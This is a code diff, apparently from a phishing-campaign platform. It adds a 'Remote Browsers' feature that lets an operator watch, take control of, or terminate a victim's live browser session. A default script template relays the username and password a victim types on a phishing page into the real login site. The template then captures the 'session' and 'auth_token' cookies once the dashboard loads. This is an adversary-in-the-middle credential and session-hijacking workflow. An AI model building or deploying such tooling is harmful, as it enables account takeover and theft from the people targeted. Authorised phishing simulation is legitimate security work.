class="fixed bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-50 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
|
||||
class:hidden={!isMenuVisible}
|
||||
>
|
||||
<ul class="flex flex-col text-left">
|
||||
|
||||
@@ -55,7 +55,7 @@
|
||||
class="font-bold text-slate-600 dark:text-gray-200 text-{alignText} flex transition-colors duration-200"
|
||||
>
|
||||
{#if !isGhost}
|
||||
{title.length ? title : column}
|
||||
{title?.length ? title : column}
|
||||
{:else}
|
||||
<GhostText />
|
||||
{/if}
|
||||
|
||||
@@ -26,7 +26,7 @@
|
||||
|
||||
<TableHead>
|
||||
<TableRow>
|
||||
{#each columns as column, i (i)}
|
||||
{#each columns as column, i (typeof column === 'object' ? column.column : column)}
|
||||
{#if typeof column === 'object'}
|
||||
<TableHeadCell
|
||||
{...column}
|
||||
|
||||
@@ -66,6 +66,11 @@ export const route = {
|
||||
route: '/proxy/',
|
||||
blackbox: true
|
||||
},
|
||||
remoteBrowser: {
|
||||
label: 'Remote Browsers',
|
||||
route: '/remote-browser/',
|
||||
blackbox: true
|
||||
},
|
||||
campaignTemplates: {
|
||||
label: 'Templates',
|
||||
singleLabel: 'Templates',
|
||||
@@ -137,6 +142,11 @@ export const menu = [
|
||||
route.apiSenders,
|
||||
route.oauthProviders
|
||||
]
|
||||
},
|
||||
{
|
||||
label: 'Remote Browsers',
|
||||
type: 'submenu',
|
||||
items: [route.remoteBrowser]
|
||||
}
|
||||
];
|
||||
|
||||
|
||||
@@ -49,6 +49,8 @@
|
||||
import FormFooter from '$lib/components/FormFooter.svelte';
|
||||
import TextFieldSelect from '$lib/components/TextFieldSelect.svelte';
|
||||
import { resourceContext } from '$lib/store/resourceContext';
|
||||
import RemoteBrowserStream from '$lib/components/remote-browser/RemoteBrowserStream.svelte';
|
||||
import LiveSessionBadgeDropdown from '$lib/components/remote-browser/LiveSessionBadgeDropdown.svelte';
|
||||
|
||||
// services
|
||||
const appStateService = AppStateService.instance;
|
||||
@@ -169,6 +171,17 @@
|
||||
let setAsSentRecipient = null;
|
||||
let lastPoll3399Nano = '';
|
||||
|
||||
// live remote browser sessions
|
||||
/** @type {Map<string, {crID: string, campaignID: string, recipientID: string, createdAt: string, victimConnected: boolean}>} */
|
||||
let liveSessions = new Map();
|
||||
let liveSessionPollInterval = null;
|
||||
let streamModalVisible = false;
|
||||
let streamCRID = '';
|
||||
let streamControlMode = false;
|
||||
let streamEmail = '';
|
||||
let isTerminateSessionAlertVisible = false;
|
||||
let terminateSessionCRID = '';
|
||||
|
||||
// hooks
|
||||
onMount(() => {
|
||||
const context = appStateService.getContext();
|
||||
@@ -186,14 +199,51 @@
|
||||
await refreshCampaignEventsSince();
|
||||
})();
|
||||
|
||||
// poll live sessions every 5 seconds
|
||||
liveSessionPollInterval = setInterval(refreshLiveSessions, 5000);
|
||||
refreshLiveSessions();
|
||||
|
||||
// cleanup resource context when leaving page
|
||||
return () => {
|
||||
recipientTableUrlParams.unsubscribe();
|
||||
eventsTableURLParams.unsubscribe();
|
||||
resourceContext.clear();
|
||||
clearInterval(liveSessionPollInterval);
|
||||
};
|
||||
});
|
||||
|
||||
const refreshLiveSessions = async () => {
|
||||
const campaignID = $page.params.id;
|
||||
const res = await api.remoteBrowser.getLiveSessions(campaignID);
|
||||
if (!res.success) return;
|
||||
const map = new Map();
|
||||
for (const s of res.data ?? []) {
|
||||
map.set(s.crID, s);
|
||||
}
|
||||
liveSessions = map;
|
||||
};
|
||||
|
||||
const openStreamModal = (crID, control, recipientEmail = '') => {
|
||||
streamCRID = crID;
|
||||
streamControlMode = control;
|
||||
streamEmail = recipientEmail;
|
||||
streamModalVisible = true;
|
||||
};
|
||||
|
||||
const openTerminateAlert = (crID) => {
|
||||
terminateSessionCRID = crID;
|
||||
isTerminateSessionAlertVisible = true;
|
||||
};
|
||||
|
||||
const doTerminateSession = async () => {
|
||||
const res = await api.remoteBrowser.closeLiveSession(terminateSessionCRID);
|
||||
if (!res.success) {
|
||||
return { success: false, error: 'Failed to terminate session' };
|
||||
}
|
||||
await refreshLiveSessions();
|
||||
return { success: true };
|
||||
};
|
||||
|
||||
const refresh = async (showLoading = true) => {
|
||||
if (showLoading) {
|
||||
showIsLoading();
|
||||
@@ -1947,6 +1997,7 @@
|
||||
<SubHeadline>Recipients overview</SubHeadline>
|
||||
<Table
|
||||
columns={[
|
||||
...(liveSessions.size > 0 ? [{ column: 'Remote', size: 'small' }] : []),
|
||||
{ column: 'First name', size: 'small' },
|
||||
{ column: 'Last name', size: 'small' },
|
||||
{ column: 'Email', size: 'large' },
|
||||
@@ -1972,6 +2023,29 @@
|
||||
>
|
||||
{#each campaignRecipients as recp (recp.id)}
|
||||
<TableRow>
|
||||
{#if liveSessions.size > 0}
|
||||
<TableCell>
|
||||
{#if liveSessions.has(recp.id)}
|
||||
{@const ls = liveSessions.get(recp.id)}
|
||||
<LiveSessionBadgeDropdown victimConnected={ls.victimConnected}>
|
||||
{#if ls.canStream}
|
||||
<TableDropDownButton
|
||||
name="View"
|
||||
on:click={() => openStreamModal(recp.id, false, recp.recipient?.email)}
|
||||
/>
|
||||
<TableDropDownButton
|
||||
name="Control"
|
||||
on:click={() => openStreamModal(recp.id, true, recp.recipient?.email)}
|
||||
/>
|
||||
{/if}
|
||||
<TableDropDownButton
|
||||
name="Terminate"
|
||||
on:click={() => openTerminateAlert(recp.id)}
|
||||
/>
|
||||
</LiveSessionBadgeDropdown>
|
||||
{/if}
|
||||
</TableCell>
|
||||
{/if}
|
||||
{#if recp?.anonymizedID}
|
||||
<TableCell value={'anonymized'} />
|
||||
<TableCell value={'anonymized'} />
|
||||
@@ -2104,6 +2178,23 @@
|
||||
: ''}
|
||||
on:click={() => onClickPreviewEmail(recp.id)}
|
||||
/>
|
||||
{#if liveSessions.has(recp.id)}
|
||||
{@const ls = liveSessions.get(recp.id)}
|
||||
{#if ls.canStream}
|
||||
<TableViewButton
|
||||
name="View remote session"
|
||||
on:click={() => openStreamModal(recp.id, false, recp.recipient?.email)}
|
||||
/>
|
||||
<TableDropDownButton
|
||||
name="Control remote session"
|
||||
on:click={() => openStreamModal(recp.id, true, recp.recipient?.email)}
|
||||
/>
|
||||
{/if}
|
||||
<TableDropDownButton
|
||||
name="Terminate remote session"
|
||||
on:click={() => openTerminateAlert(recp.id)}
|
||||
/>
|
||||
{/if}
|
||||
</TableDropDownEllipsis>
|
||||
</TableCellAction>
|
||||
{/if}
|
||||
@@ -2112,6 +2203,23 @@
|
||||
</Table>
|
||||
{/if}
|
||||
{/if}
|
||||
<RemoteBrowserStream
|
||||
bind:visible={streamModalVisible}
|
||||
crID={streamCRID}
|
||||
controlMode={streamControlMode}
|
||||
email={streamEmail}
|
||||
on:closed={() => { streamModalVisible = false; refreshLiveSessions(); }}
|
||||
/>
|
||||
|
||||
<Alert
|
||||
headline="Terminate session"
|
||||
bind:visible={isTerminateSessionAlertVisible}
|
||||
onConfirm={doTerminateSession}
|
||||
ok="Yes, terminate"
|
||||
>
|
||||
Are you sure you want to terminate this live session? The victim's browser will be closed.
|
||||
</Alert>
|
||||
|
||||
<Modal headerText={'Events'} visible={isEventsModalVisible} onClose={closeEventsModal}>
|
||||
<div class="mt-8"></div>
|
||||
<Table
|
||||
|
||||
@@ -0,0 +1,349 @@
|
||||
<script>
|
||||
import { page } from '$app/stores';
|
||||
import { api } from '$lib/api/apiProxy.js';
|
||||
import { onMount } from 'svelte';
|
||||
import { newTableURLParams } from '$lib/service/tableURLParams.js';
|
||||
import Headline from '$lib/components/Headline.svelte';
|
||||
import TableRow from '$lib/components/table/TableRow.svelte';
|
||||
import TableCell from '$lib/components/table/TableCell.svelte';
|
||||
import TableUpdateButton from '$lib/components/table/TableUpdateButton.svelte';
|
||||
import TableDeleteButton from '$lib/components/table/TableDeleteButton2.svelte';
|
||||
import TableCopyButton from '$lib/components/table/TableCopyButton.svelte';
|
||||
import FormError from '$lib/components/FormError.svelte';
|
||||
import { addToast } from '$lib/store/toast';
|
||||
import { AppStateService } from '$lib/service/appState';
|
||||
import TableCellEmpty from '$lib/components/table/TableCellEmpty.svelte';
|
||||
import TableCellAction from '$lib/components/table/TableCellAction.svelte';
|
||||
import Modal from '$lib/components/Modal.svelte';
|
||||
import Table from '$lib/components/table/Table.svelte';
|
||||
import HeadTitle from '$lib/components/HeadTitle.svelte';
|
||||
import { getModalText } from '$lib/utils/common';
|
||||
import DeleteAlert from '$lib/components/modal/DeleteAlert.svelte';
|
||||
import AutoRefresh from '$lib/components/AutoRefresh.svelte';
|
||||
import BigButton from '$lib/components/BigButton.svelte';
|
||||
import TableDropDownEllipsis from '$lib/components/table/TableDropDownEllipsis.svelte';
|
||||
import FormGrid from '$lib/components/FormGrid.svelte';
|
||||
import FormFooter from '$lib/components/FormFooter.svelte';
|
||||
import RemoteBrowserEditor from '$lib/components/remote-browser/RemoteBrowserEditor.svelte';
|
||||
|
||||
const appStateService = AppStateService.instance;
|
||||
|
||||
// form state
|
||||
let formValues = {
|
||||
id: null,
|
||||
name: '',
|
||||
description: '',
|
||||
script: defaultScript(),
|
||||
config: JSON.stringify({ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, null, 2)
|
||||
};
|
||||
let isSubmitting = false;
|
||||
let formError = '';
|
||||
let savedScript = defaultScript();
|
||||
|
||||
// table state
|
||||
const tableURLParams = newTableURLParams();
|
||||
let contextCompanyID = null;
|
||||
let items = [];
|
||||
let hasNextPage = true;
|
||||
let isTableLoading = false;
|
||||
|
||||
// modal state
|
||||
let isModalVisible = false;
|
||||
let modalMode = null;
|
||||
let modalText = '';
|
||||
|
||||
// delete state
|
||||
let isDeleteAlertVisible = false;
|
||||
let deleteValues = { id: null, name: null };
|
||||
|
||||
$: modalText = getModalText('Remote Browser', modalMode);
|
||||
|
||||
function defaultScript() {
|
||||
return `// The phishing page sends events here via rb.send("event", data).
|
||||
// This script replays them into the real site and emits events back.
|
||||
|
||||
var s = newSession();
|
||||
s.navigate("https://example.com/login");
|
||||
s.waitVisible("input[type='email']");
|
||||
|
||||
// wait for victim to submit their email on the phishing page
|
||||
var u = waitForEvent("username");
|
||||
s.sendKeys("input[type='email']", u.username);
|
||||
s.click("button[type='submit']");
|
||||
|
||||
// ask the phishing page to show a password field
|
||||
s.waitVisible("input[type='password']");
|
||||
emit("need_password", {});
|
||||
|
||||
var p = waitForEvent("password");
|
||||
s.sendKeys("input[type='password']", p.password);
|
||||
s.click("button[type='submit']");
|
||||
|
||||
// grab session cookies once we land inside the app
|
||||
s.waitVisible("#dashboard");
|
||||
s.capture({
|
||||
domains: ["example.com"],
|
||||
cookieNames: ["session", "auth_token"]
|
||||
});
|
||||
emit("captured", { status: "success" });
|
||||
|
||||
s.keepAlive();
|
||||
s.close();
|
||||
`;
|
||||
}
|
||||
|
||||
onMount(() => {
|
||||
const context = appStateService.getContext();
|
||||
if (context) contextCompanyID = context.companyID;
|
||||
|
||||
refreshItems();
|
||||
tableURLParams.onChange(refreshItems);
|
||||
|
||||
(async () => {
|
||||
const editID = $page.url.searchParams.get('edit');
|
||||
if (editID) await openUpdateModal(editID);
|
||||
})();
|
||||
|
||||
return () => tableURLParams.unsubscribe();
|
||||
});
|
||||
|
||||
const refreshItems = async (showLoading = true) => {
|
||||
try {
|
||||
if (showLoading) isTableLoading = true;
|
||||
const res = await api.remoteBrowser.getAllSubset(tableURLParams, contextCompanyID);
|
||||
if (res.success) {
|
||||
items = res.data.rows ?? res.data ?? [];
|
||||
hasNextPage = res.data.hasNextPage ?? false;
|
||||
}
|
||||
} catch (e) {
|
||||
addToast('Failed to load Remote Browsers', 'Error');
|
||||
console.error(e);
|
||||
} finally {
|
||||
if (showLoading) isTableLoading = false;
|
||||
}
|
||||
};
|
||||
|
||||
const openCreateModal = () => {
|
||||
formValues = {
|
||||
id: null,
|
||||
name: '',
|
||||
description: '',
|
||||
script: defaultScript(),
|
||||
config: JSON.stringify({ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 }, null, 2)
|
||||
};
|
||||
savedScript = defaultScript();
|
||||
formError = '';
|
||||
modalMode = 'create';
|
||||
isModalVisible = true;
|
||||
};
|
||||
|
||||
const openUpdateModal = async (id) => {
|
||||
try {
|
||||
const res = await api.remoteBrowser.getByID(id);
|
||||
if (!res.success) throw res.error;
|
||||
const rb = res.data;
|
||||
formValues = {
|
||||
id: rb.id,
|
||||
name: rb.name || '',
|
||||
description: rb.description || '',
|
||||
script: rb.script || defaultScript(),
|
||||
config: rb.config ? JSON.stringify(rb.config, null, 2) : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2)
|
||||
};
|
||||
savedScript = formValues.script;
|
||||
formError = '';
|
||||
modalMode = 'update';
|
||||
isModalVisible = true;
|
||||
} catch (e) {
|
||||
addToast('Failed to load Remote Browser', 'Error');
|
||||
console.error(e);
|
||||
}
|
||||
};
|
||||
|
||||
const closeModal = () => {
|
||||
isModalVisible = false;
|
||||
formError = '';
|
||||
};
|
||||
|
||||
const onEditorChange = (event) => {
|
||||
const { name, description, script, config } = event.detail;
|
||||
formValues = { ...formValues, name, description, script, config };
|
||||
};
|
||||
|
||||
const openCopyModal = async (id) => {
|
||||
try {
|
||||
const res = await api.remoteBrowser.getByID(id);
|
||||
if (!res.success) throw res.error;
|
||||
const rb = res.data;
|
||||
formValues = {
|
||||
id: null,
|
||||
name: rb.name ? `${rb.name} (copy)` : '',
|
||||
description: rb.description || '',
|
||||
script: rb.script || defaultScript(),
|
||||
config: rb.config ? JSON.stringify(rb.config, null, 2) : JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2)
|
||||
};
|
||||
savedScript = formValues.script;
|
||||
formError = '';
|
||||
modalMode = 'copy';
|
||||
isModalVisible = true;
|
||||
} catch (e) {
|
||||
addToast('Failed to load Remote Browser', 'Error');
|
||||
console.error(e);
|
||||
}
|
||||
};
|
||||
|
||||
const onSubmit = async (event) => {
|
||||
isSubmitting = true;
|
||||
try {
|
||||
const saveOnly = event?.detail?.saveOnly || false;
|
||||
if (modalMode === 'create' || modalMode === 'copy') {
|
||||
await create();
|
||||
} else {
|
||||
await update(saveOnly);
|
||||
}
|
||||
} finally {
|
||||
isSubmitting = false;
|
||||
}
|
||||
};
|
||||
|
||||
const create = async () => {
|
||||
try {
|
||||
const res = await api.remoteBrowser.create({
|
||||
name: formValues.name,
|
||||
description: formValues.description,
|
||||
script: formValues.script,
|
||||
config: JSON.parse(formValues.config),
|
||||
companyID: contextCompanyID
|
||||
});
|
||||
if (!res.success) { formError = res.error; return; }
|
||||
formError = '';
|
||||
addToast('Remote Browser created', 'Success');
|
||||
// Stay in the modal - switch to update mode so the user can run/test immediately.
|
||||
formValues = { ...formValues, id: res.data.id };
|
||||
savedScript = formValues.script;
|
||||
modalMode = 'update';
|
||||
refreshItems();
|
||||
} catch (e) {
|
||||
addToast('Failed to create Remote Browser', 'Error');
|
||||
console.error(e);
|
||||
}
|
||||
};
|
||||
|
||||
const update = async (saveOnly = false) => {
|
||||
try {
|
||||
const res = await api.remoteBrowser.update(formValues.id, {
|
||||
name: formValues.name,
|
||||
description: formValues.description,
|
||||
script: formValues.script,
|
||||
config: JSON.parse(formValues.config)
|
||||
});
|
||||
if (!res.success) { formError = res.error; return; }
|
||||
formError = '';
|
||||
savedScript = formValues.script;
|
||||
addToast(saveOnly ? 'Saved' : 'Remote Browser updated', 'Success');
|
||||
if (!saveOnly) {
|
||||
closeModal();
|
||||
refreshItems();
|
||||
}
|
||||
} catch (e) {
|
||||
addToast(saveOnly ? 'Failed to save' : 'Failed to update Remote Browser', 'Error');
|
||||
console.error(e);
|
||||
}
|
||||
};
|
||||
|
||||
const onClickDelete = async (id) => {
|
||||
const res = await api.remoteBrowser.delete(id);
|
||||
if (res.success) {
|
||||
refreshItems();
|
||||
return res;
|
||||
}
|
||||
throw res.error;
|
||||
};
|
||||
</script>
|
||||
|
||||
<HeadTitle title="Remote Browsers" />
|
||||
|
||||
<div class="col-start-1 col-end-13 row-start-1 px-4">
|
||||
<div class="flex justify-between items-center">
|
||||
<Headline>Remote Browsers</Headline>
|
||||
<AutoRefresh
|
||||
isLoading={false}
|
||||
onRefresh={() => refreshItems(false)}
|
||||
/>
|
||||
</div>
|
||||
<BigButton on:click={openCreateModal}>New Remote Browser</BigButton>
|
||||
|
||||
<Table
|
||||
columns={[
|
||||
{ column: 'Name', size: 'large' },
|
||||
{ column: 'Description' }
|
||||
]}
|
||||
sortable={['Name']}
|
||||
hasData={!!items.length}
|
||||
{hasNextPage}
|
||||
plural="remote browsers"
|
||||
pagination={tableURLParams}
|
||||
isGhost={isTableLoading}
|
||||
>
|
||||
{#each items as item (item.id)}
|
||||
<TableRow>
|
||||
<TableCell>
|
||||
<button
|
||||
class="block w-full py-1 text-left"
|
||||
on:click={() => openUpdateModal(item.id)}
|
||||
>{item.name}</button>
|
||||
</TableCell>
|
||||
<TableCell>{item.description || ''}</TableCell>
|
||||
<TableCellEmpty />
|
||||
<TableCellAction>
|
||||
<TableDropDownEllipsis>
|
||||
<TableUpdateButton on:click={() => openUpdateModal(item.id)} />
|
||||
<TableCopyButton title="Copy" on:click={() => openCopyModal(item.id)} />
|
||||
<TableDeleteButton
|
||||
on:click={() => {
|
||||
deleteValues = { id: item.id, name: item.name };
|
||||
isDeleteAlertVisible = true;
|
||||
}}
|
||||
/>
|
||||
</TableDropDownEllipsis>
|
||||
</TableCellAction>
|
||||
</TableRow>
|
||||
{/each}
|
||||
</Table>
|
||||
</div>
|
||||
|
||||
<!-- Editor modal (always fullscreen) -->
|
||||
<Modal
|
||||
bind:visible={isModalVisible}
|
||||
headerText={modalText}
|
||||
fullscreen={true}
|
||||
onClose={closeModal}
|
||||
{isSubmitting}
|
||||
>
|
||||
<FormGrid on:submit={onSubmit} {isSubmitting} {modalMode}>
|
||||
<div class="col-span-3 flex flex-col min-h-0 overflow-hidden px-4 py-4">
|
||||
<RemoteBrowserEditor
|
||||
bind:name={formValues.name}
|
||||
bind:description={formValues.description}
|
||||
bind:script={formValues.script}
|
||||
bind:config={formValues.config}
|
||||
id={formValues.id}
|
||||
{savedScript}
|
||||
on:change={onEditorChange}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<FormError message={formError} />
|
||||
|
||||
<FormFooter
|
||||
{closeModal}
|
||||
{isSubmitting}
|
||||
okText={modalMode === 'create' ? 'Create' : 'Update'}
|
||||
/>
|
||||
</FormGrid>
|
||||
</Modal>
|
||||
|
||||
<DeleteAlert
|
||||
bind:isVisible={isDeleteAlertVisible}
|
||||
name={deleteValues.name}
|
||||
onClick={() => onClickDelete(deleteValues.id)}
|
||||
/>
|
||||
@@ -21,6 +21,7 @@ export default defineConfig({
|
||||
'/api/': {
|
||||
target: 'https://backend:8002',
|
||||
secure: false,
|
||||
ws: true,
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
Reference in New Issue
Block a user